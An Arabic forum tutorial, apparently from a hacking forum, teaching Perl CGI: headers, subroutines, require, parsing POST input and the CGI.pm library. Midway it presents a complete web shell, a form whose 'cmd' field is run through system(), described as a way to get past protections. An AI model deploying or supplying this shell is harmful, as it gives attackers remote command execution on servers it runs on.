بسم الله الرحمن تارحيم
CGI مدخلنا الى
Common
Gateway
Interface [Perl]
CGI
باذن الله راح احاول اقلل من الدرس
لكي لايصيبكم الملل خلال القراءة
CGI هي ليست لغة برمجة بحد ذاتها
ولاكن هي بوابة تجعل لغة بيرل تمكنك
من برمجة صفحات الويب
لتتعلم اكثر انظر هنا >>
CGI<<
وارجو ان تاخذون لفة في دورة HTML هنا
>>
HTML Cliprz <<
دعونا نبدا
قولو معي بسم الله وعلى بركة الله
كود PHP:
#!c:\perl\bin\perl.exe
print "Content-type: text/html\n\n";
print "i love sec4ever";
نشرح النص التالي
#!c:\perl\bin\perl.exe مترجم البيرل على الوندوز
#!/usr/bin/perl اذا كان جهازك لينكس
سبحان الله والحمد لله
السطر الثاني
print "Content-type: text/html\n\n"; لكي نخبره ان البرنامج هو نص HTML
وهي ما تعني ب MIME
سبحان الله والحمد لله
Subroutines | الوظائف الفرعية
الوظائف الفرعية في بيرل جعلتها لغة برمجة سهله
دعونا نشرحها
كود PHP:
#!c:\perl\bin\perl.exe
print "Content-type: text/html\n\n";
sub sec{
print "i love sec4ever";
}
sub ever{
print "Love 4ever";
}
سبحان الله والحمد لله
ضع هذا الكود في صفحة وقم بتسميتها مثلا sub.pl
قم بفتح الصفحه
الصفحة فارغه تماما
سبحان الله والحمد لله
حسنا في نهاية السطر قم باضافة
sec; او ever;
او كلاهما معا
نجد انه طبع مايوجد بداخل sub
require | الطلب او الاستدعاء
وظيفتها طلب او استدعاء ملف
نجرب نبدا في استدعاء ملف
الملف الاول وليكن اسمه sec.pl
كود PHP:
#!c:\perl\bin\perl.exe
print "Content-type: text/html\n\n";
sub sec{
print " i love sec4ever ";
}
sub ever{
print " Love 4ever ";
}
1; # لكي نخبره ان sub قيم ليست فارغة
الملف التالي وليكن اسمه ever.pl
سبحان الله والحمد لله
كود PHP:
#!c:\perl\bin\perl.exe
require "sec.pl";
print "Content-type: text/html\n\n";
&sec;
&ever;
في بداية الكود تجد requrie "sec.pl"; هنا يقوم باستدعاء الملف
نجرب نفتح الملف من خلال المتصفح
STDIN و POST :
دعونا ناخذ مثال ونشرح عليه
سبحان الله والحمد لله
كود PHP:
http://pastie.org/5125267
راح اشرح الاساسيات لتسهيل الدرس
سبحان الله والحمد لله
استدعاء المكتبة UserAgent
use LWP::UserAgent;
تعريف الصفحه انها HTML
print "Content-type: text/html\n\n";
يقول ف البداية اذا كان
Environment
REQUEST_METHOD
يساوي POST
هنا نوع الطلب REQUEST_METHOD يساوي POST
يعني اريد ان يكون نوع الطلب POST داخل الصفحه
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
طريقة القرائة مدخله يعني STDIN
$buffer المتغير يساوي
QUERY_STRING
معلومات عنوان url المشفره
CONTENT_LENGTH لقرائة عدد البايتات المدخله وهو نوع من Environment
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
سبحان الله والحمد لله
طبعا جميع من سيلاحظ عذا الكود بيستصعب اللغه
لاكن راح اشرحه حسب م تعلمت
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
هذا السطر يحول اي رمز مسبوق بعلامة % الى حرف حقيقي
يعني كيف ؟ يعني بعض الاحيان لم نفتح صفحه تجي في
عنوان ال URL >> localhost/sec4ever
العنوان المشفر URL >> localhost%2Fsec4ever
سوف يقوم بتحويل %2F الى / رمزها الحقيقي
سبحان الله والحمد لله
خلونا نكتب مثال شل خفيف يساعد بلتخطى
الحماية بواسطة perl ..
كود PHP:
#!c:\perl\bin\perl.exe
print "Content-type: text/html\n\n";
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
} else {
$buffer = $ENV{'QUERY_STRING'};
}
@or4ng = split(/&/, $buffer);
foreach $m4n (@or4ng) {
($name, $value) = split(/=/, $m4n);
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}
$cmd = $FORM{cmd};
sub sec{
print '
<h1>Shell S4</h1>
<form method="POST">
<td class=list align=right>cmd</td>
<td class=list><input type=text name=cmd ></td>
<input type=submit value="cmds" ></td>';
}
1;
if ($FORM{cmd} eq ""){
&sec;
}else{
system($cmd);
&sec;
}
الحين ابغى
تطبيقاتكم 
برمجو اداة ونزلوها هنا
وين رايح ؟
لسه ماخلصنا بزاف
التعامل مع مكتبة
CGI;
مكتبة
CGI تختصر لك الوقت
في كتابة اكواد
HTML
سبحان الله والحمد لله
دعونا ناخذ مثال ونشرحه على السريع
كود PHP:
use CGI; # جلب المكتبة
$q = CGI->new; # تكوين السي جي زي print "Content-type: text/html\n\n";
print $q->header, # تكوين الهيدر
$q->start_html('hello world'), # بدء وسوم HTML
$q->h1('i love you Or4ngM4n'),
$q->end_html;
سبحان الله والحمد لله
طيب شوف معاي
كود PHP:
$q->start_html('Sec4ever'),
تعني بداية اوسمة HTML
Sec4ever = تستبدلها بعنوان الصفحه
نهاية اكواد HTML
طيب الحين خلونا نشرح
كود PHP:
$q->h1('i love you Or4ngM4n'),
لو لك خبرة ب
HTML راح تعرف وش تعني h1
او اذا شفت دورة
HTML الموضوعه باعلى الموضوع
^
h1 تعني
كود PHP:
<h1>i love you Or4ngM4n</h1>
كود HTML
كيف عرفة ي اورنج ؟
بديهيا راح تفتح مصدر الصفحه وتشوف
اما علميا مدري

ههههههههه
امزح خلونا نكمل
واحد قالي اورنج ابغى مثلا اضيف input في الصفحه وش اسوي ؟
كل اللي عليك ي طويل العمر والسلامه
تضيف بدل
h1 >
input
تطبيقاتكم
سبحان الله والحمد لله
انتهى
ان اخطات فمن نفسي والشيطان
وان اصبت فمن الله
اي
سؤال